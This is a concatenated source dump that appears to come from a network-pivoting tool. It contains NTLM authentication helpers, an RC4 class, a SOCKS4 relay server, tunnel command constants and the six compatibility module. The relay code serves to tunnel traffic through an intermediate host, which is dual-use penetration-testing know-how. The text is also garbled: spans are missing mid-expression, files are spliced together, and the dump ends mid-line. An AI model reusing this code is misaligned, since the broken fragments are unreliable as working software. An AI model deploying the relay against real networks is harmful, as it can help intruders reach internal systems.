self.challenge_message, self.ntlm_compatibility, server_certificate_hash) self.authenticate_message.add_mic(self.negotiate_message, self.challenge_message) # Setups up the session_security context used to sign and seal messages if wanted if self.negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_SEAL or self.negotiate_flags & NegotiateFlags.NTLMSSP_NEGOTIATE_SIGN: self.session_security = SessionSecurity(struct.unpack("= 0) and (ntlm_compatibility <= 5): if ntlm_compatibility == 0: self.negotiate_flags |= NegotiateFlags.NTLMSSP_NEGOTIATE_NTLM | \ NegotiateFlags.NTLMSSP_NEGOTIATE_LM_KEY elif ntlm_compatibility == 1: self.negotiate_flags |= NegotiateFlags.NTLMSSP_NEGOTIATE_NTLM | \ NegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY else: self.negotiate_flags |= NegotiateFlags.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY else: raise Exception("Unknown ntlm_compatibility level - expecting value between 0 and 5") ================================================ FILE: ntlm_auth/rc4.py ================================================ # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . class ARC4(object): state = None i = 0 j = 0 def __init__(self, key): # Split up the key into a list if isinstance(key, str): key = [ord(c) for c in key] else: key = [c for c in key] #Key-scheduling algorithm (KSA) self.state = [n for n in range(256)] j = 0 for i in range(256): j = (j + self.state[i] + key[i % len(key)]) % 256 self.state[i], self.state[j] = self.state[j], self.state[i] def update(self, value): chars = [] random_gen = self._random_generator() for char in value: if isinstance(value, str): byte = ord(char) else: byte = char updated_byte = byte ^ next(random_gen) chars.append(updated_byte) return bytes(bytearray(chars)) def _random_generator(self): #Pseudo-Random Generation Algorithm (PRGA) while True: self.i = (self.i + 1) % 256 self.j = (self.j + self.state[self.i]) % 256 self.state[self.i], self.state[self.j] = self.state[self.j], self.state[self.i] yield self.state[(self.state[self.i] + self.state[self.j]) % 256] ================================================ FILE: ntlm_auth/session_security.py ================================================ # This library is free software: you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation, either # version 3 of the License, or (at your option) any later version. # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # You should have received a copy of the GNU Lesser General Public # License along with this library. If not, see or . import binascii import hmac import struct import ntlm_auth.compute_keys as compkeys from ntlm_auth.constants import NegotiateFlags, SignSealConstants from ntlm_auth.rc4 import ARC4 class _NtlmMessageSignature1(object): EXPECTED_BODY_LENGTH = 16 """ [MS-NLMP] v28.0 2016-07-14 2.2.2.9.1 NTLMSSP_MESSAGE_SIGNATURE This version of the NTLMSSP_MESSAGE_SIGNATURE structure MUST be used when the NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY flag is not negotiated. :param random_pad: A 4-byte array that contains the random pad for the emssage :param checksum: A 4-byte array that contains the checksum for the message :param seq_num: A 32-bit unsigned integer that contains the NTLM sequence number for this application message """ def __init__(self, random_pad, checksum, seq_num): self.version = struct.pack(" 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__end except AttributeError: self.clear() self.update(*args, **kwds) def clear(self): self.__end = end = [] end += [None, end, end] # sentinel node for doubly linked list self.__map = {} # key --> [key, prev, next] dict.clear(self) def __setitem__(self, key, value): if key not in self: end = self.__end curr = end[1] curr[2] = end[1] = self.__map[key] = [key, curr, end] dict.__setitem__(self, key, value) def __delitem__(self, key): dict.__delitem__(self, key) key, prev, next = self.__map.pop(key) prev[2] = next next[1] = prev def __iter__(self): end = self.__end curr = end[2] while curr is not end: yield curr[0] curr = curr[2] def __reversed__(self): end = self.__end curr = end[1] while curr is not end: yield curr[0] curr = curr[1] def popitem(self, last=True): if not self: raise KeyError('dictionary is empty') if last: key = reversed(self).next() else: key = iter(self).next() value = self.pop(key) return key, value def __reduce__(self): items = [[k, self[k]] for k in self] tmp = self.__map, self.__end del self.__map, self.__end inst_dict = vars(self).copy() self.__map, self.__end = tmp if inst_dict: return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def keys(self): return list(self) setdefault = DictMixin.setdefault update = DictMixin.update pop = DictMixin.pop values = DictMixin.values items = DictMixin.items iterkeys = DictMixin.iterkeys itervalues = DictMixin.itervalues iteritems = DictMixin.iteritems def __repr__(self): if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, self.items()) def copy(self): return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): d = cls() for key in iterable: d[key] = value return d def __eq__(self, other): if isinstance(other, OrderedDict): if len(self) != len(other): return False for p, q in zip(self.items(), other.items()): if p != q: return False return True return dict.__eq__(self, other) def __ne__(self, other): return not self == other ================================================ FILE: relay.py ================================================ import time import socket buffer_size = 4096 delay = 0.0001 socks_server_reply_success = '\x00\x5a\xff\xff\xff\xff\xff\xff' socks_server_reply_fail = '\x00\x5b\xff\xff\xff\xff\xff\xff' relay_timeout = 60 banner = 'RPIVOT' banner_response = 'TUNNELRDY' COMMAND_CHANNEL = 0 CHANNEL_CLOSE_CMD = '\xcc' CHANNEL_OPEN_CMD = '\xdd' FORWARD_CONNECTION_SUCCESS = '\xee' FORWARD_CONNECTION_FAILURE = '\xff' CLOSE_RELAY = '\xc4' PING_CMD = '\x70' cmd_names = { '\xcc': 'CHANNEL_CLOSE_CMD', '\xdd': 'CHANNEL_OPEN_CMD', '\xee': 'FORWARD_CONNECTION_SUCCESS', '\xff': 'FORWARD_CONNECTION_FAILURE', '\xc4': 'CLOSE_RELAY', '\x70': 'PING_CMD' } class ClosedSocket(Exception): pass class RelayError(Exception): pass def recvall(sock, data_len): buf = '' while True: buf += sock.recv(data_len - len(buf)) if len(buf) == data_len: break time.sleep(delay) assert(data_len == len(buf)) return buf def close_sockets(sockets): for s in sockets: try: s.close() except socket.error: pass ================================================ FILE: server.py ================================================ #!/usr/bin/env python import logging import logging.handlers import socket import select import sys import time from struct import pack, unpack import struct import random import errno import relay import threading import optparse class RelayServer: def __init__(self, host, port, socket_with_server): self.input_list = [] self.channel = {} self.last_ping_time = time.time() self.id_by_socket = {} self.pending_socks_clients = [] self.socket_with_server = socket_with_server self.input_list.append(self.socket_with_server) self.remote_side_down = False logger.debug('Starting ping thread') self.ping_thread = threading.Thread(target=self.ping_worker) self.ping_thread.start() self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) try: self.server.bind((host, port)) self.server.listen(2000) except socket.error as (code, msg): logger.error('Error binding socks proxy. {0}'.format(msg)) logger.error('Closing relay') socket_with_server.close() raise self.socks_client_socket = None def ping_worker(self): while True: time.sleep(10) current_time = time.time() if self.remote_side_down: logger.debug('Remote side down. Ping worker exiting') return if current_time - self.last_ping_time > relay.relay_timeout: logger.info('No response from remote side for {0} seconds. Restarting relay'.format(relay.relay_timeout)) self.socket_with_server.close() return logger.debug('Sending ping') try: self.send_remote_cmd(self.socket_with_server, relay.PING_CMD) except socket.error as (code, msg): logger.debug('Ping thread got socket exception {0} {1}. Closing socket with remote side'.format(code, msg)) self.socket_with_server.close() return except relay.RelayError: logger.debug('Ping worker caught RelayError. Exiting') self.shutdown() return def shutdown(self): relay.close_sockets(self.input_list) self.remote_side_down = True def main_loop(self): self.input_list.append(self.server) while True: time.sleep(relay.delay) try: logger.debug("Active channels: {0}".format(self.channel.keys())) inputready, outputready, exceptready = select.select(self.input_list, [], []) except socket.error as (code, msg): logger.debug('Socket error on select. Errno: {0} Msg: {1}'.format(errno.errorcode[code], msg)) return except KeyboardInterrupt: logger.info('SIGINT received. Closing relay and exiting') self.shutdown() sys.exit(1) for self.selected_input_socket in inputready: if self.selected_input_socket == self.server: self.on_accept() break if self.selected_input_socket == self.socket_with_server: try: self.manage_remote_socket(self.selected_input_socket) except relay.RelayError: logger.debug('Main loop: got RelayError. Closing connection with remote side and exiting loop') self.shutdown() return elif self.selected_input_socket in self.pending_socks_clients: self.pending_socks_clients.remove(self.selected_input_socket) try: ip, port = self.handle_new_socks_connection(self.selected_input_socket) except relay.RelayError: logger.debug("Closing socks client socket {0}".format(self.selected_input_socket)) self.input_list.remove(self.selected_input_socket) self.selected_input_socket.close() continue #self.input_list.append(self.selected_input_socket) new_channel_id = self.set_channel(self.selected_input_socket) logger.debug("Sending command to open channel {0}".format(new_channel_id)) self.send_remote_cmd(self.socket_with_server, relay.CHANNEL_OPEN_CMD, new_channel_id, ip, port) elif self.selected_input_socket in self.id_by_socket: self.manage_socks_client_socket(self.selected_input_socket) else: logger.debug("Active socket {0} does not belong to channel. Closing it".format(self.selected_input_socket)) self.selected_input_socket.close() def parse_socks_header(self, data): try: (vn, cd, dstport, dstip) = unpack('>BBHI', data[:8]) except struct.error: logger.debug('Invalid socks header! Got data: {0}'.format(repr(data))) raise relay.RelayError if vn != 4: logger.debug('Invalid socks header! Got data: {0}'.format(repr(data))) raise relay.RelayError str_ip = socket.inet_ntoa(pack(">L", dstip)) logger.debug('Parsing socks header. Socks version: {0} Socks command: {1} Dstport: {2} Dstip: {3}'.format(vn, cd, dstport, str_ip)) return str_ip, dstport def get_channel_data(self, sock): try: tlv_header = relay.recvall(sock, 4) channel_id, tlv_data_len = unpack('= (3, 4) if PY3: string_types = str, integer_types = int, class_types = type, text_type = str binary_type = bytes MAXSIZE = sys.maxsize else: string_types = basestring, integer_types = (int, long) class_types = (type, types.ClassType) text_type = unicode binary_type = str if sys.platform.startswith("java"): # Jython always uses 32 bits. MAXSIZE = int((1 << 31) - 1) else: # It's possible to have sizeof(long) != sizeof(Py_ssize_t). class X(object): def __len__(self): return 1 << 31 try: len(X()) except OverflowError: # 32-bit MAXSIZE = int((1 << 31) - 1) else: # 64-bit MAXSIZE = int((1 << 63) - 1) del X def _add_doc(func, doc): """Add documentation to a function.""" func.__doc__ = doc def _import_module(name): """Import module, returning the module after the last dot.""" __import__(name) return sys.modules[name] class _LazyDescr(object): def __init__(self, name): self.name = name def __get__(self, obj, tp): result = self._resolve() setattr(obj, self.name, result) # Invokes __set__. try: # This is a bit ugly, but it avoids running this again by # removing this descriptor. delattr(obj.__class__, self.name) except AttributeError: pass return result class MovedModule(_LazyDescr): def __init__(self, name, old, new=None): super(MovedModule, self).__init__(name) if PY3: if new is None: new = name self.mod = new else: self.mod = old def _resolve(self): return _import_module(self.mod) def __getattr__(self, attr): _module = self._resolve() value = getattr(_module, attr) setattr(self, attr, value) return value class _LazyModule(types.ModuleType): def __init__(self, name): super(_LazyModule, self).__init__(name) self.__doc__ = self.__class__.__doc__ def __dir__(self): attrs = ["__doc__", "__name__"] attrs += [attr.name for attr in self._moved_attributes] return attrs # Subclasses should override this _moved_attributes = [] class MovedAttribute(_LazyDescr): def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): super(MovedAttribute, self).__init__(name) if PY3: if new_mod is None: new_mod = name self.mod = new_mod if new_attr is None: if old_attr is None: new_attr = name else: new_attr = old_attr self.attr = new_attr else: self.mod = old_mod if old_attr is None: old_attr = name self.attr = old_attr def _resolve(self): module = _import_module(self.mod) return getattr(module, self.attr) class _SixMetaPathImporter(object): """ A meta path importer to import six.moves and its submodules. This class implements a PEP302 finder and loader. It should be compatible with Python 2.5 and all existing versions of Python3 """ def __init__(self, six_module_name): self.name = six_module_name self.known_modules = {} def _add_module(self, mod, *fullnames): for fullname in fullnames: self.known_modules[self.name + "." + fullname] = mod def _get_module(self, fullname): return self.known_modules[self.name + "." + fullname] def find_module(self, fullname, path=None): if fullname in self.known_modules: return self return None def __get_module(self, fullname): try: return self.known_modules[fullname] except KeyError: raise ImportError("This loader does not know module " + fullname) def load_module(self, fullname): try: # in case of a reload return sys.modules[fullname] except KeyError: pass mod = self.__get_module(fullname) if isinstance(mod, MovedModule): mod = mod._resolve() else: mod.__loader__ = self sys.modules[fullname] = mod return mod def is_package(self, fullname): """ Return true, if the named module is a package. We need this method to get correct spec objects with Python 3.4 (see PEP451) """ return hasattr(self.__get_module(fullname), "__path__") def get_code(self, fullname): """Return None Required, if is_package is implemented""" self.__get_module(fullname) # eventually raises ImportError return None get_source = get_code # same as get_code _importer = _SixMetaPathImporter(__name__) class _MovedItems(_LazyModule): """Lazy loading of moved objects""" __path__ = [] # mark as package _moved_attributes = [ MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), MovedAttribute("intern", "__builtin__", "sys"), MovedAttribute("map", "itertools", "builtins", "imap", "map"), MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), MovedAttribute("UserDict", "UserDict", "collections"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), MovedModule("html_parser", "HTMLParser", "html.parser"), MovedModule("http_client", "httplib", "http.client"), MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), MovedModule("cPickle", "cPickle", "pickle"), MovedModule("queue", "Queue"), MovedModule("reprlib", "repr"), MovedModule("socketserver", "SocketServer"), MovedModule("_thread", "thread", "_thread"), MovedModule("tkinter", "Tkinter"), MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), MovedModule("tkinter_tix", "Tix", "tkinter.tix"), MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), MovedModule("tkinter_colorchooser", "tkColorChooser", "tkinter.colorchooser"), MovedModule("tkinter_commondialog", "tkCommonDialog", "tkinter.commondialog"), MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), MovedModule("tkinter_font", "tkFont", "tkinter.font"), MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", "tkinter.simpledialog"), MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), ] # Add windows specific modules. if sys.platform == "win32": _moved_attributes += [ MovedModule("winreg", "_winreg"), ] for attr in _moved_attributes: setattr(_MovedItems, attr.name, attr) if isinstance(attr, MovedModule): _importer._add_module(attr, "moves." + attr.name) del attr _MovedItems._moved_attributes = _moved_attributes moves = _MovedItems(__name__ + ".moves") _importer._add_module(moves, "moves") class Module_six_moves_urllib_parse(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_parse""" _urllib_parse_moved_attributes = [ MovedAttribute("ParseResult", "urlparse", "urllib.parse"), MovedAttribute("SplitResult", "urlparse", "urllib.parse"), MovedAttribute("parse_qs", "urlparse", "urllib.parse"), MovedAttribute("parse_qsl", "urlparse", "urllib.parse"), MovedAttribute("urldefrag", "urlparse", "urllib.parse"), MovedAttribute("urljoin", "urlparse", "urllib.parse"), MovedAttribute("urlparse", "urlparse", "urllib.parse"), MovedAttribute("urlsplit", "urlparse", "urllib.parse"), MovedAttribute("urlunparse", "urlparse", "urllib.parse"), MovedAttribute("urlunsplit", "urlparse", "urllib.parse"), MovedAttribute("quote", "urllib", "urllib.parse"), MovedAttribute("quote_plus", "urllib", "urllib.parse"), MovedAttribute("unquote", "urllib", "urllib.parse"), MovedAttribute("unquote_plus", "urllib", "urllib.parse"), MovedAttribute("urlencode", "urllib", "urllib.parse"), MovedAttribute("splitquery", "urllib", "urllib.parse"), MovedAttribute("splittag", "urllib", "urllib.parse"), MovedAttribute("splituser", "urllib", "urllib.parse"), MovedAttribute("uses_fragment", "urlparse", "urllib.parse"), MovedAttribute("uses_netloc", "urlparse", "urllib.parse"), MovedAttribute("uses_params", "urlparse", "urllib.parse"), MovedAttribute("uses_query", "urlparse", "urllib.parse"), MovedAttribute("uses_relative", "urlparse", "urllib.parse"), ] for attr in _urllib_parse_moved_attributes: setattr(Module_six_moves_urllib_parse, attr.name, attr) del attr Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes _importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"), "moves.urllib_parse", "moves.urllib.parse") class Module_six_moves_urllib_error(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_error""" _urllib_error_moved_attributes = [ MovedAttribute("URLError", "urllib2", "urllib.error"), MovedAttribute("HTTPError", "urllib2", "urllib.error"), MovedAttribute("ContentTooShortError", "urllib", "urllib.error"), ] for attr in _urllib_error_moved_attributes: setattr(Module_six_moves_urllib_error, attr.name, attr) del attr Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes _importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"), "moves.urllib_error", "moves.urllib.error") class Module_six_moves_urllib_request(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_request""" _urllib_request_moved_attributes = [ MovedAttribute("urlopen", "urllib2", "urllib.request"), MovedAttribute("install_opener", "urllib2", "urllib.request"), MovedAttribute("build_opener", "urllib2", "urllib.request"), MovedAttribute("pathname2url", "urllib", "urllib.request"), MovedAttribute("url2pathname", "urllib", "urllib.request"), MovedAttribute("getproxies", "urllib", "urllib.request"), MovedAttribute("Request", "urllib2", "urllib.request"), MovedAttribute("OpenerDirector", "urllib2", "urllib.request"), MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"), MovedAttribute("ProxyHandler", "urllib2", "urllib.request"), MovedAttribute("BaseHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"), MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"), MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"), MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"), MovedAttribute("FileHandler", "urllib2", "urllib.request"), MovedAttribute("FTPHandler", "urllib2", "urllib.request"), MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), MovedAttribute("urlretrieve", "urllib", "urllib.request"), MovedAttribute("urlcleanup", "urllib", "urllib.request"), MovedAttribute("URLopener", "urllib", "urllib.request"), MovedAttribute("FancyURLopener", "urllib", "urllib.request"), MovedAttribute("proxy_bypass", "urllib", "urllib.request"), ] for attr in _urllib_request_moved_attributes: setattr(Module_six_moves_urllib_request, attr.name, attr) del attr Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes _importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), "moves.urllib_request", "moves.urllib.request") class Module_six_moves_urllib_response(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_response""" _urllib_response_moved_attributes = [ MovedAttribute("addbase", "urllib", "urllib.response"), MovedAttribute("addclosehook", "urllib", "urllib.response"), MovedAttribute("addinfo", "urllib", "urllib.response"), MovedAttribute("addinfourl", "urllib", "urllib.response"), ] for attr in _urllib_response_moved_attributes: setattr(Module_six_moves_urllib_response, attr.name, attr) del attr Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes _importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), "moves.urllib_response", "moves.urllib.response") class Module_six_moves_urllib_robotparser(_LazyModule): """Lazy loading of moved objects in six.moves.urllib_robotparser""" _urllib_robotparser_moved_attributes = [ MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), ] for attr in _urllib_robotparser_moved_attributes: setattr(Module_six_moves_urllib_robotparser, attr.name, attr) del attr Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes _importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), "moves.urllib_robotparser", "moves.urllib.robotparser") class Module_six_moves_urllib(types.ModuleType): """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" __path__ = [] # mark as package parse = _importer._get_module("moves.urllib_parse") error = _importer._get_module("moves.urllib_error") request = _importer._get_module("moves.urllib_request") response = _importer._get_module("moves.urllib_response") robotparser = _importer._get_module("moves.urllib_robotparser") def __dir__(self): return ['parse', 'error', 'request', 'response', 'robotparser'] _importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), "moves.urllib") def add_move(move): """Add an item to six.moves.""" setattr(_MovedItems, move.name, move) def remove_move(name): """Remove item from six.moves.""" try: delattr(_MovedItems, name) except AttributeError: try: del moves.__dict__[name] except KeyError: raise AttributeError("no such move, %r" % (name,)) if PY3: _meth_func = "__func__" _meth_self = "__self__" _func_closure = "__closure__" _func_code = "__code__" _func_defaults = "__defaults__" _func_globals = "__globals__" else: _meth_func = "im_func" _meth_self = "im_self" _func_closure = "func_closure" _func_code = "func_code" _func_defaults = "func_defaults" _func_globals = "func_globals" try: advance_iterator = next except NameError: def advance_iterator(it): return it.next() next = advance_iterator try: callable = callable except NameError: def callable(obj): return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) if PY3: def get_unbound_function(unbound): return unbound create_bound_method = types.MethodType def create_unbound_method(func, cls): return func Iterator = object else: def get_unbound_function(unbound): return unbound.im_func def create_bound_method(func, obj): return types.MethodType(func, obj, obj.__class__) def create_unbound_method(func, cls): return types.MethodType(func, None, cls) class Iterator(object): def next(self): return type(self).__next__(self) callable = callable _add_doc(get_unbound_function, """Get the function out of a possibly unbound function""") get_method_function = operator.attrgetter(_meth_func) get_method_self = operator.attrgetter(_meth_self) get_function_closure = operator.attrgetter(_func_closure) get_function_code = operator.attrgetter(_func_code) get_function_defaults = operator.attrgetter(_func_defaults) get_function_globals = operator.attrgetter(_func_globals) if PY3: def iterkeys(d, **kw): return iter(d.keys(**kw)) def itervalues(d, **kw): return iter(d.values(**kw)) def iteritems(d, **kw): return iter(d.items(**kw)) def iterlists(d, **kw): return iter(d.lists(**kw)) viewkeys = operator.methodcaller("keys") viewvalues = operator.methodcaller("values") viewitems = operator.methodcaller("items") else: def iterkeys(d, **kw): return d.iterkeys(**kw) def itervalues(d, **kw): return d.itervalues(**kw) def iteritems(d, **kw): return d.iteritems(**kw) def iterlists(d, **kw): return d.iterlists(**kw) viewkeys = operator.methodcaller("viewkeys") viewvalues = operator.methodcaller("viewvalues") viewitems = operator.methodcaller("viewitems") _add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") _add_doc(itervalues, "Return an iterator over the values of a dictionary.") _add_doc(iteritems, "Return an iterator over the (key, value) pairs of a dictionary.") _add_doc(iterlists, "Return an iterator over the (key, [values]) pairs of a dictionary.") if PY3: def b(s): return s.encode("latin-1") def u(s): return s unichr = chr import struct int2byte = struct.Struct(">B").pack del struct byte2int = operator.itemgetter(0) indexbytes = operator.getitem iterbytes = iter import io StringIO = io.StringIO BytesIO = io.BytesIO _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" else: def b(s): return s # Workaround for standalone backslash def u(s): return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") unichr = unichr int2byte = chr def byte2int(bs): return ord(bs[0]) def indexbytes(buf, i): return ord(buf[i]) iterbytes = functools.partial(itertools.imap, ord) import StringIO StringIO = BytesIO = StringIO.StringIO _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") def assertCountEqual(self, *args, **kwargs): return getattr(self, _assertCountEqual)(*args, **kwargs) def assertRaisesRegex(self, *args, **kwargs): return getattr(self, _assertRaisesRegex)(*args, **kwargs) def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) if PY3: exec_ = getattr(moves.builtins, "exec") def reraise(tp, value, tb=None): if value is None: value = tp() if value.__traceback__ is not tb: raise value.with_traceback(tb) raise value else: def exec_(_code_, _globs_=None, _locs_=None): """Execute code in a namespace.""" if _globs_ is None: frame = sys._getframe(1) _globs_ = frame.f_globals if _locs_ is None: _locs_ = frame.f_locals del frame elif _locs_ is None: _locs_ = _globs_ exec("""exec _code_ in _globs_, _locs_""") exec_("""def reraise(tp, value, tb=None): raise tp, value, tb """) if sys.version_info[:2] == (3, 2): exec_("""def raise_from(value, from_value): if from_value is None: raise value raise value from from_value """) elif sys.version_info[:2] > (3, 2): exec_("""def raise_from(value, from_value): raise value from from_value """) else: def raise_from(value, from_value): raise value print_ = getattr(moves.builtins, "print", None) if print_ is None: def print_(*args, **kwargs): """The new-style print function for Python 2.4 and 2.5.""" fp = kwargs.pop("file", sys.stdout) if fp is None: return def write(data): if not isinstance(data, basestring): data = str(data) # If the file has an encoding, encode unicode with it. if (isinstance(fp, file) and isinstance(data, unicode) and fp.encoding is not None): errors = getattr(fp, "errors", None) if errors is None: errors = "strict" data = data.encode(fp.encoding, errors) fp.write(data) want_unicode = False sep = kwargs.pop("sep", None) if sep is not None: if isinstance(sep, unicode): want_unicode = True elif not isinstance(sep, str): raise TypeError("sep must be None or a string") end = kwargs.pop("end", None) if end is not None: if isinstance(end, unicode): want_unicode = True elif not isinstance(end, str): raise TypeError("end must be None or a string") if kwargs: raise TypeError("invalid keyword arguments to print()") if not want_unicode: for arg in args: if isinstance(arg, unicode): want_unicode = True break if want_unicode: newline = unicode("\n") space = unicode(" ") else: newline = "\n" space = " " if sep is None: sep = space if end is None: end = newline for i, arg in enumerate(args): if i: write(sep) write(arg) write(end) if sys.version_info[:2] < (3, 3): _print = print_ def print_(*args, **kwargs): fp = kwargs.get("file", sys.stdout) flush = kwargs.pop("flush", False) _print(*args, **kwargs) if flush and fp is not None: fp.flush() _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): def wrapper(f): f = functools.wraps(wrapped, assigned, updated)(f) f.__wrapped__ = wrapped return f return wrapper else: wraps = functools.wraps def with_metaclass(meta, *bases): """Create a base class with a metaclass.""" # This requires a bit of explanation: the basic idea is to make a dummy # metaclass for one level of class instantiation that replaces itself with # the actual metaclass. class metaclass(meta): def __new__(cls, name, this_bases, d): return meta(name, bases, d) return type.__new__(metaclass, 'temporary_class', (), {}) def add_metaclass(metaclass): """Class decorator for creating a class with a metaclass.""" def wrapper(cls): orig_vars = cls.__dict__.copy() slots = orig_vars.get('__slots__') if slots is not None: if isinstance(slots, str): slots = [slots] for slots_var in slots: orig_vars.pop(slots_var) orig_vars.pop('__dict__', None) orig_vars.pop('__weakref__', None) return metaclass(cls.__name__, cls.__bases__, orig_vars) return wrapper def python_2_unicode_compatible(klass): """ A decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method returning text and apply this decorator to the class. """ if PY2: if 